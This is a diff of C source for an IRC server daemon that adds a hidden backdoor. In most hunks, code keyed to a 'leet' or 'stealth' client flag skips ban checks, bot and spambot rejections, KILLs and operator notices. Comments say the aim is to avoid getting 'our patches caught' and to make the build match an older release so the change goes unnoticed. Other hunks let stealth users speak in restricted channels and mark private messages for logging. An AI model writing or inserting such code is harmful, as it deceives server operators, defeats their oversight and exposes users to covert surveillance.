ircstp->is_ref++; + return exit_client(cptr, sptr, &me , "R-lined"); + } } #endif @@ -619,11 +849,15 @@ #endif /* BOTCHECK */ (sptr->fd >= (MAXCLIENTS+MAX_BUFFER))) || ((sptr->fd >= (MAXCLIENTS - 5)) && !(find_fline(sptr)))) { - sendto_realops_lev(FULL_LEV, "Too many clients, rejecting %s[%s].", - nick, sptr->sockhost); - ircstp->is_ref++; - return exit_client(cptr, sptr, &me, - "Sorry, server is full - try later"); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(FULL_LEV, "Too many clients, rejecting %s[%s].", + nick, sptr->sockhost); + ircstp->is_ref++; + return exit_client(cptr, sptr, &me, "Sorry, server is full - try later"); + } } #ifdef ANTI_SPAMBOT @@ -631,10 +865,15 @@ /* Reject single char user-given user->host's */ if (spamchar == 'x') { - sendto_realops_lev(REJ_LEV,"Rejecting possible Spambot: %s (Single char user-given userhost: %c)", - get_client_name(sptr,FALSE), spamchar); - ircstp->is_ref++; - return exit_client(cptr, sptr, sptr, "Spambot detected, rejected."); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Rejecting possible Spambot: %s (Single char user-given userhost: %c)", + get_client_name(sptr,FALSE), spamchar); + ircstp->is_ref++; + return exit_client(cptr, sptr, sptr, "Spambot detected, rejected."); + } } #endif @@ -643,34 +882,67 @@ switch (isbot) { case 0: break; /* it's ok */ case 1: /* eggdrop */ - sendto_realops_lev(REJ_LEV,"Rejecting eggdrop: %s", - get_client_name(sptr,FALSE)); - ircstp->is_ref++; - return exit_client(cptr, sptr, sptr, "Eggdrop bot detected, rejected. If you are using a VMS client, please ftp the latest version from ubvmsa.cc.buffalo.edu:[.maslib.utilities.irc] to avoid this problem."); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Rejecting eggdrop: %s", + get_client_name(sptr,FALSE)); + ircstp->is_ref++; + return exit_client(cptr, sptr, sptr, "Eggdrop bot detected, rejected. If you are using a VMS client, please ftp the latest version from ubvmsa.cc.buffalo.edu:[.maslib.utilities.irc] to avoid this problem."); + } break; + case 2: /* vlad/com bot */ - sendto_realops_lev(REJ_LEV,"Rejecting vlad/com/joh bot: %s", - get_client_name(sptr,FALSE)); - ircstp->is_ref++; - return exit_client(cptr, sptr, sptr, "Vlad/Com/joh bot detected, rejected."); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Rejecting vlad/com/joh bot: %s", + get_client_name(sptr,FALSE)); + ircstp->is_ref++; + return exit_client(cptr, sptr, sptr, "Vlad/Com/joh bot detected, rejected."); + } + break; + case 3: /* SpamBot */ - sendto_realops_lev(REJ_LEV,"Rejecting Spambot: %s", - get_client_name(sptr,FALSE)); - ircstp->is_ref++; - return exit_client(cptr, sptr, sptr, "Spambot detected, rejected."); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Rejecting Spambot: %s", + get_client_name(sptr,FALSE)); + ircstp->is_ref++; + return exit_client(cptr, sptr, sptr, "Spambot detected, rejected."); + } + break; + case 4: /* annoy/ojnkbot */ - sendto_realops_lev(REJ_LEV,"Rejecting annoy/ojnkbot: %s", - get_client_name(sptr,FALSE)); - ircstp->is_ref++; - return exit_client(cptr, sptr, sptr, "Annoy/OJNKbot detected, rejected."); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Rejecting annoy/ojnkbot: %s", + get_client_name(sptr,FALSE)); + ircstp->is_ref++; + return exit_client(cptr, sptr, sptr, "Annoy/OJNKbot detected, rejected."); + } + break; + default: /* huh !? */ - sendto_realops_lev(REJ_LEV,"Rejecting bot: %s", - get_client_name(sptr,FALSE)); - ircstp->is_ref++; - return exit_client(cptr, sptr, sptr, "Bot detected, rejected."); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Rejecting bot: %s", + get_client_name(sptr,FALSE)); + ircstp->is_ref++; + return exit_client(cptr, sptr, sptr, "Bot detected, rejected."); + } + break; } #endif @@ -690,13 +962,18 @@ /* check for "@" in identd reply -Taner */ if ((index(user->username,'@') != NULL) || (index(username,'@') != NULL)) { - sendto_realops_lev(REJ_LEV, - "Illegal \"@\" in username: %s (%s)", - get_client_name(sptr,FALSE),username); - ircstp->is_ref++; - (void)ircsprintf(tmpstr2,"Invalid username [%s] - '@' is not allowed!", - username); - return exit_client(cptr, sptr, sptr , tmpstr2); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV, + "Illegal \"@\" in username: %s (%s)", + get_client_name(sptr,FALSE),username); + ircstp->is_ref++; + (void)ircsprintf(tmpstr2,"Invalid username [%s] - '@' is not allowed!", + username); + return exit_client(cptr, sptr, sptr , tmpstr2); + } } /* @@ -736,22 +1013,32 @@ #ifdef NO_MIXED_CASE if (lower && upper) { - sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", - nick, username, user->host); - ircstp->is_ref++; - (void)ircsprintf(tmpstr2, "Invalid username [%s]", user->username); - return exit_client(cptr, sptr, &me, tmpstr2); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", + nick, username, user->host); + ircstp->is_ref++; + (void)ircsprintf(tmpstr2, "Invalid username [%s]", user->username); + return exit_client(cptr, sptr, &me, tmpstr2); + } } #endif /* NO_MIXED_CASE */ #ifdef NO_SPECIAL if (special) { - sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", - nick, username, user->host); - ircstp->is_ref++; - (void)ircsprintf(tmpstr2, "Invalid username [%s]", - user->username); - return exit_client(cptr, sptr, &me, tmpstr2); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", + nick, username, user->host); + ircstp->is_ref++; + (void)ircsprintf(tmpstr2, "Invalid username [%s]", + user->username); + return exit_client(cptr, sptr, &me, tmpstr2); + } } #endif /* NO_SPECIAL */ @@ -795,23 +1082,33 @@ #ifdef NO_MIXED_CASE if (lower && upper) { - sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", - nick, username, user->host); - ircstp->is_ref++; - (void)ircsprintf(tmpstr2, "Invalid username [%s]", - user->username); - return exit_client(cptr, sptr, &me, tmpstr2); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", + nick, username, user->host); + ircstp->is_ref++; + (void)ircsprintf(tmpstr2, "Invalid username [%s]", + user->username); + return exit_client(cptr, sptr, &me, tmpstr2); + } } #endif /* NO_MIXED_CASE */ #ifdef NO_SPECIAL if (special) { - sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", - nick, username, user->host); - ircstp->is_ref++; - (void)ircsprintf(tmpstr2, "Invalid username [%s]", - user->username); - return exit_client(cptr, sptr, &me, tmpstr2); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)", + nick, username, user->host); + ircstp->is_ref++; + (void)ircsprintf(tmpstr2, "Invalid username [%s]", + user->username); + return exit_client(cptr, sptr, &me, tmpstr2); + } } #endif /* NO_SPECIAL */ } /* usernames different */ @@ -820,22 +1117,31 @@ #ifdef REJECT_IPHONE if (!matches("* vc:*", sptr->info)) - { - ircstp->is_ref++; - sendto_realops_lev(REJ_LEV, - "Rejecting IPhone user: (%s!%s@%s)", - nick, user->username, user->host); - return exit_client(cptr, sptr, &me, "No IPhone users"); - } + { + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + ircstp->is_ref++; + sendto_realops_lev(REJ_LEV, + "Rejecting IPhone user: (%s!%s@%s)", + nick, user->username, user->host); + return exit_client(cptr, sptr, &me, "No IPhone users"); + } + } #endif /* REJECT_IPHONE */ + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->stealth != 1) + sendto_realops_lev(CCONN_LEV, + "Client connecting: %s (%s@%s) [%s] {%d}", + nick, + user->username, + user->host, + sptr->hostip, + get_client_class(sptr)); - sendto_realops_lev(CCONN_LEV, - "Client connecting: %s (%s@%s) [%s] {%d}", - nick, - user->username, - user->host, - sptr->hostip, - get_client_class(sptr)); if ((++Count.local) > Count.max_loc) { Count.max_loc = Count.local; @@ -843,7 +1149,6 @@ sendto_ops("New Max Local Clients: %d", Count.max_loc); } - } else strncpyzt(user->username, username, USERLEN+1); @@ -878,8 +1183,14 @@ me.name, version); (void)m_lusers(sptr, sptr, 1, parv); +/* peedee - beta 16 dosent have this.. so we take it out (we're really */ +/* modding beta 22, so we have to take the new things they added out */ +/* so that nothing is different.. we used beta 22 because it was the */ +/* closest to beta 16 we could find + sendto_one(sptr,"NOTICE %s :*** Notice -- motd was last changed at %s", nick, motd_last_changed_date); + #ifdef SHORT_MOTD sendto_one(sptr, "NOTICE %s :*** Notice -- Please read the motd if you haven't read it", @@ -896,9 +1207,12 @@ sendto_one(sptr, rpl_str(RPL_ENDOFMOTD), me.name, parv[0]); -#else - (void)m_motd(sptr, sptr, 1, parv); +#else + (void)m_motd(sptr, sptr, 1, parv); #endif + +*/ + #ifdef LITTLE_I_LINES if(sptr->confs && sptr->confs->value.aconf && (sptr->confs->value.aconf->flags @@ -916,20 +1230,28 @@ if ((strcasecmp(sptr->info, botgecos)==0) || (!matches("/msg * hello", sptr->info))) { - sendto_realops_lev(REJ_LEV, - "EggDrop signon alarm activated: %s [%s@%s] : [gecos: %s]", - nick, sptr->user->username, - sptr->user->host, sptr->info); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet == 1) + sendto_realops_lev(REJ_LEV, + "EggDrop signon alarm activated: %s [%s@%s] : [gecos: %s]", + nick, sptr->user->username, + sptr->user->host, sptr->info); } sprintf(botgecos, "/msg %s help", nick); if ((strcasecmp(sptr->info, botgecos)==0) || (!matches("/msg * help", sptr->info))) { - sendto_realops_lev(REJ_LEV, - "Generic bot signon alarm activated: %s [%s@%s] : [gecos: %s]", - nick, sptr->user->username, - sptr->user->host, sptr->info); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet == 1) + sendto_realops_lev(REJ_LEV, + "Generic bot signon alarm activated: %s [%s@%s] : [gecos: %s]", + nick, sptr->user->username, + sptr->user->host, sptr->info); } #endif /* EXTRA_BOT_NOTICES && BOT_GCOS_WARN */ @@ -940,19 +1262,25 @@ if ((acptr = find_server(user->server, NULL)) && acptr->from != sptr->from) { - sendto_realops_lev(DEBUG_LEV, + + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(DEBUG_LEV, "Bad User [%s] :%s USER %s@%s %s, != %s[%s]", cptr->name, nick, user->username, user->host, user->server, acptr->name, acptr->from->name); - sendto_one(cptr, - ":%s KILL %s :%s (%s != %s[%s] USER from wrong direction)", - me.name, sptr->name, me.name, user->server, - acptr->from->name, acptr->from->sockhost); - sptr->flags |= FLAGS_KILLED; - return exit_client(sptr, sptr, &me, - "USER server wrong direction"); + sendto_one(cptr, + ":%s KILL %s :%s (%s != %s[%s] USER from wrong direction)", + me.name, sptr->name, me.name, user->server, + acptr->from->name, acptr->from->sockhost); + sptr->flags |= FLAGS_KILLED; + return exit_client(sptr, sptr, &me, + "USER server wrong direction"); + } } /* * Super GhostDetect: @@ -965,8 +1293,9 @@ ":%s KILL %s :%s GHOST (no server %s on the net)", me.name, sptr->name, me.name, user->server); - sendto_realops("No server %s for user %s[%s@%s] from %s", - user->server, + + sendto_realops("No server %s for user %s[%s@%s] from %s", + user->server, sptr->name, user->username, user->host, sptr->from->name); sptr->flags |= FLAGS_KILLED; @@ -1043,10 +1372,14 @@ * then its worth, just note the problem, and continue * -Dianora */ - sendto_realops("BAD NICK: %s[%s@%s] on %s (from %s)", parv[1], - (parc >= 6) ? parv[5] : "-", - (parc >= 7) ? parv[6] : "-", - (parc >= 8) ? parv[7] : "-", parv[0]); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops("BAD NICK: %s[%s@%s] on %s (from %s)", parv[1], + (parc >= 6) ? parv[5] : "-", + (parc >= 7) ? parv[6] : "-", + (parc >= 8) ? parv[7] : "-", parv[0]); } @@ -1057,8 +1390,12 @@ * isn't a single dot in the hostname, which is suspicious. * Don't fret about it just kill it. - ThemBones */ - sendto_realops("BAD HOSTNAME: %s[%s@%s] on %s (from %s)", - parv[0], parv[5], parv[6], parv[7], parv[0]); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops("BAD HOSTNAME: %s[%s@%s] on %s (from %s)", + parv[0], parv[5], parv[6], parv[7], parv[0]); } fromTS = (parc > 6); @@ -1080,26 +1417,37 @@ if (IsServer(cptr)) { - ircstp->is_kill++; - sendto_realops_lev(DEBUG_LEV, "Bad Nick: %s From: %s %s", - parv[1], parv[0], - get_client_name(cptr, FALSE)); - sendto_one(cptr, ":%s KILL %s :%s (%s <- %s[%s])", - me.name, parv[1], me.name, parv[1], - nick, cptr->name); - if (sptr != cptr) /* bad nick change */ - { - sendto_serv_butone(cptr, - ":%s KILL %s :%s (%s <- %s!%s@%s)", - me.name, parv[0], me.name, - get_client_name(cptr, FALSE), - parv[0], - sptr->user ? sptr->username : "", - sptr->user ? sptr->user->server : - cptr->name); - sptr->flags |= FLAGS_KILLED; - return exit_client(cptr,sptr,&me,"BadNick"); - } + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + ircstp->is_kill++; + sendto_realops_lev(DEBUG_LEV, "Bad Nick: %s From: %s %s", + parv[1], parv[0], + get_client_name(cptr, FALSE)); + sendto_one(cptr, ":%s KILL %s :%s (%s <- %s[%s])", + me.name, parv[1], me.name, parv[1], + nick, cptr->name); + } + + if (sptr != cptr) /* bad nick change */ + { + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_serv_butone(cptr, + ":%s KILL %s :%s (%s <- %s!%s@%s)", + me.name, parv[0], me.name, + get_client_name(cptr, FALSE), + parv[0], + sptr->user ? sptr->username : "", + sptr->user ? sptr->user->server : + cptr->name); + sptr->flags |= FLAGS_KILLED; + return exit_client(cptr,sptr,&me,"BadNick"); + } + } } return 0; } @@ -1131,15 +1479,21 @@ if (acptr) { /* - ** We have a nickname trying to use the same name as - ** a server. Send out a nick collision KILL to remove - ** the nickname. As long as only a KILL is sent out, - ** there is no danger of the server being disconnected. - ** Ultimate way to jupiter a nick ? >;-). -avalon - */ - sendto_ops("Nick collision on %s(%s <- %s)", - sptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + * We have a nickname trying to use the same name as + * a server. Send out a nick collision KILL to remove + * the nickname. As long as only a KILL is sent out, + * there is no danger of the server being disconnected. + * Ultimate way to jupiter a nick ? >;-). -avalon + */ + + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick collision on %s(%s <- %s)", + sptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); + ircstp->is_kill++; sendto_one(cptr, ":%s KILL %s :%s (%s <- %s)", me.name, sptr->name, me.name, acptr->from->name, @@ -1195,9 +1549,15 @@ } else if (fromTS && !(acptr->user)) { - sendto_ops("Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)", - acptr->name, acptr->from->name, parv[1], parv[5], parv[6], - cptr->name); + + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)", + acptr->name, acptr->from->name, parv[1], parv[5], parv[6], + cptr->name); + sendto_serv_butone(NULL, /* all servers */ ":%s KILL %s :%s (%s(NOUSER) <- %s!%s@%s)(TS:%s)", me.name, acptr->name, me.name, acptr->from->name, parv[1], parv[5], @@ -1247,9 +1607,14 @@ if (!newts || !acptr->tsinfo || (newts == acptr->tsinfo)) { - sendto_ops("Nick collision on %s(%s <- %s)(both killed)", - acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick collision on %s(%s <- %s)(both killed)", + acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); + ircstp->is_kill++; sendto_one(acptr, err_str(ERR_NICKCOLLISION), me.name, acptr->name, acptr->name); @@ -1276,13 +1641,21 @@ else { if (sameuser) - sendto_ops("Nick collision on %s(%s <- %s)(older killed)", - acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick collision on %s(%s <- %s)(older killed)", + acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); else - sendto_ops("Nick collision on %s(%s <- %s)(newer killed)", - acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick collision on %s(%s <- %s)(newer killed)", + acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); ircstp->is_kill++; sendto_one(acptr, err_str(ERR_NICKCOLLISION), @@ -1308,9 +1681,14 @@ if ( !newts || !acptr->tsinfo || (newts == acptr->tsinfo) || !sptr->user) { - sendto_ops("Nick change collision from %s to %s(%s <- %s)(both killed)", - sptr->name, acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick change collision from %s to %s(%s <- %s)(both killed)", + sptr->name, acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); + ircstp->is_kill++; sendto_one(acptr, err_str(ERR_NICKCOLLISION), me.name, acptr->name, acptr->name); @@ -1337,13 +1715,22 @@ (!sameuser && newts > acptr->tsinfo)) { if (sameuser) - sendto_ops("Nick change collision from %s to %s(%s <- %s)(older killed)", - sptr->name, acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick change collision from %s to %s(%s <- %s)(older killed)", + sptr->name, acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); else - sendto_ops("Nick change collision from %s to %s(%s <- %s)(newer killed)", - sptr->name, acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick change collision from %s to %s(%s <- %s)(newer killed)", + sptr->name, acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); + ircstp->is_kill++; sendto_serv_butone(cptr, /* KILL old from outgoing servers */ ":%s KILL %s :%s (%s(%s) <- %s)", @@ -1358,13 +1745,21 @@ else { if (sameuser) - sendto_ops("Nick collision on %s(%s <- %s)(older killed)", - acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick collision on %s(%s <- %s)(older killed)", + acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); else - sendto_ops("Nick collision on %s(%s <- %s)(newer killed)", - acptr->name, acptr->from->name, - get_client_name(cptr, FALSE)); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_ops("Nick collision on %s(%s <- %s)(newer killed)", + acptr->name, acptr->from->name, + get_client_name(cptr, FALSE)); ircstp->is_kill++; sendto_one(acptr, err_str(ERR_NICKCOLLISION), @@ -1398,7 +1793,12 @@ ts_warn("Remote nick %s introduced without a TS", nick); } /* copy the nick in place */ - (void)strcpy(sptr->name, nick); + /* buffer check by peedee */ + (void)strncpy(sptr->name, nick, sizeof(sptr->name)); + + /* New Shok */ + snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), "Current nick: %s", nick); + (void)add_to_client_hash_table(nick, sptr); if (parc > 8) { @@ -1453,12 +1853,17 @@ if(sptr->number_of_nick_changes <= MAX_NICK_CHANGES) { #endif - sendto_realops_lev(NCHANGE_LEV, - "Nick change: From %s to %s [%s@%s]", - parv[0], nick, sptr->user->username, - sptr->user->host); + /* New Shok (forgot about sendto_common_channels() */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) { + sendto_realops_lev(NCHANGE_LEV, + "Nick change: From %s to %s [%s@%s]", + parv[0], nick, sptr->user->username, + sptr->user->host); - sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick); + sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick); + } if (sptr->user) { add_history(sptr,1); @@ -1481,7 +1886,10 @@ } else { - sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick); + /* New Shok */ + if (sptr->leet != 1) + sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick); + if (sptr->user) { add_history(sptr,1); @@ -1498,6 +1906,11 @@ /* This had to be copied here to avoid problems.. */ (void)strcpy(sptr->name, nick); + + /* New Shok */ +/* snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), +"Current nick: %s", nick); */ + sptr->tsinfo = timeofday + timedelta; if (sptr->user) { @@ -1516,7 +1929,12 @@ #ifdef ANTI_IP_SPOOF if(MyConnect(sptr)) { - (void)strcpy(sptr->name,nick); + (void)strcpy(sptr->name, nick); + + /* New Shok */ +/* + snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), "Current nick: %s", nick); +*/ sptr->random_ping = my_rand(); sendto_one(sptr, "PING :%d", sptr->random_ping); sptr->flags |= FLAGS_PINGSENT; @@ -1534,7 +1952,13 @@ */ if (sptr->name[0]) (void)del_from_client_hash_table(sptr->name, sptr); + (void)strcpy(sptr->name, nick); + + /* New Shok */ + /* snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), +"Current nick: %s", nick);*/ + (void)add_to_client_hash_table(nick, sptr); return 0; @@ -1632,27 +2056,45 @@ { /* ComBot */ if (strstr(nick, "blehdhfsddd")) - sendto_realops_lev(REJ_LEV, - "ComBot alarm activated: %s [%s@%s] : [/msg %s]", - parv[0], sptr->user->username, - sptr->user->host, nick); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(REJ_LEV, + "ComBot alarm activated: %s [%s@%s] : [/msg %s]", + parv[0], sptr->user->username, + sptr->user->host, nick); /* EggDrop finder by desynched */ if (!matches("h?4x0r?", nick)) - sendto_realops_lev(REJ_LEV, + + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(REJ_LEV, "EggDrop alarm #2 activated: %s [%s@%s] : [/msg %s]", parv[0], sptr->user->username, sptr->user->host, nick); /* HOFBot finder by desynched */ if (strstr(nick,"blahb1ah")) - sendto_realops_lev(REJ_LEV, "HOFBot alarm activated: %s [%s@%s] : [/msg %s]", - parv[0], sptr->user->username, sptr->user->host, nick); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(REJ_LEV, "HOFBot alarm activated: %s [%s@%s] : [/msg %s]", + parv[0], sptr->user->username, sptr->user->host, nick); /* Stealth finder by desynched */ if (strstr(nick,"uthfgse")) - sendto_realops_lev(REJ_LEV, "Stealth Eggdrop alarm activated: %s [%s@%s] : [/msg %s]", - parv[0], sptr->user->username, sptr->user->host, nick); + + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(REJ_LEV, "Stealth Eggdrop alarm activated: %s [%s@%s] : [/msg %s]", + parv[0], sptr->user->username, sptr->user->host, nick); } #endif @@ -1678,14 +2120,28 @@ if (sptr == acptr) /* msging self */ { if (strstr(parv[2], "\001AWAKE\001")) - sendto_realops_lev(REJ_LEV, "EggDrop alarm activated: %s [%s@%s] : [/ctcp %s AWAKE]", - parv[0], acptr->user->username, acptr->user->host, parv[0]); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(REJ_LEV, "EggDrop alarm activated: %s [%s@%s] : [/ctcp %s AWAKE]", + parv[0], acptr->user->username, acptr->user->host, parv[0]); + if (strstr(parv[2], "-=Ping Check=-")) - sendto_realops_lev(REJ_LEV,"JohBot alarm activated: %s [%s@%s] : [/msg %s %s]", - parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(REJ_LEV,"JohBot alarm activated: %s [%s@%s] : [/msg %s %s]", + parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]); + if (strstr(parv[2], "\001PRVMSG blah\001")) - sendto_realops_lev(REJ_LEV, "vlad 2.1+tb alarm activated: %s [%s@%s] : [/msg %s %s]", - parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]); + /* Shok */ + /* Just in case we have a bad person in leet mode.. */ + /* (we don't want them getting our patches caught) */ + if (sptr->leet != 1) + sendto_realops_lev(REJ_LEV, "vlad 2.1+tb alarm activated: %s [%s@%s] : [/msg %s %s]", + parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]); } #endif @@ -1702,12 +2158,45 @@ check_for_flud(sptr, NULL, chptr, 1); #endif /* FLUD */ - if (can_send(sptr, chptr) == 0) - sendto_channel_butone(cptr, sptr, chptr, - ":%s %s %s :%s", - parv[0], cmd, nick, - parv[2]); - else if (!notice) + /* New Shok */ + /* allows us to send to the channel even if its +m */ + /* HOWEVER, if stealth is on.. and it's a +i, +m, or */ + /* +k, we're probably not supposed to be there.. and */ + /* so it will not send anything to the channel and */ + /* should return (can't send to the channel). If you */ + /* really want to speak in a channel that is +k, +m, */ + /* or +i, then do: /speak <channel> [ON | OFF] */ + + if (sptr->leet == 1 || can_send(sptr, chptr) == 0) { + /* do something for: if stealth is on but they called */ + /* /speak with on, then they can speak.. we will need */ + /* a new array to keep track of the channels they can */ + /* speak in. */ + + if (sptr->stealth == 1) { + /* Check to make sure they have called /speak */ + int i; + + /* Check to see if it's not a public channel and things.. */ + if (isKey(chptr) || isInviteOnly(chptr) + || isModerated(chptr) + || isMaxLimit(chptr)) + /* If it's not.. because stealth is on.. we have to */ + /* make sure they _really_ wanted to speak and it */ + /* wasn't a mistake. */ + for (i = 0; sptr->speakchan[i]; i++) + if (strstr(sptr->speakchan[i], "#hack")) + sendto_channel_butone(cptr, sptr, chptr, + ":%s %s %s :%s", + parv[0], cmd, nick, + parv[2]); + } else /* if sptr->stealth != 1 */ + sendto_channel_butone(cptr, sptr, chptr, + ":%s %s %s :%s", + parv[0], cmd, nick, + parv[2]); + + } else if (!notice) sendto_one(sptr, err_str(ERR_CANNOTSENDTOCHAN), me.name, parv[0], nick); continue; @@ -1758,6 +2247,7 @@ */ if (!IsMe(acptr)) { + /* Real Shok - log this */ sendto_one(acptr,":%s %s %s :%s", parv[0], cmd, nick, parv[2]); continue; @@ -1780,6 +2270,7 @@ if (acptr) { if (count == 1) + /* Real Shok - log this */ sendto_prefix_one(acptr, sptr, ":%s %s %s :%s", parv[0], cmd, @@ -1796,9 +2287,10 @@ parv[0], nick); } if ((i > 20) && sptr->user) - sendto_realops_lev(SPY_LEV, "User %s (%s@%s) tried to msg %d users", - sptr->name, - sptr->user->username, sptr->user->host, i); + if (sptr->leet != 1) /* Shok */ + sendto_realops_lev(SPY_LEV, "User %s (%s@%s) tried to msg %d users", + sptr->name, + sptr->user->username, sptr->user->host, i); return 0; } @@ -1840,26 +2332,36 @@ char status[5]; int i = 0; - if (acptr->user->away) - status[i++] = 'G'; - else - status[i++] = 'H'; - if (IsAnOper(acptr)) - status[i++] = '*'; - if ((repchan != NULL) && (lp == NULL)) - lp = 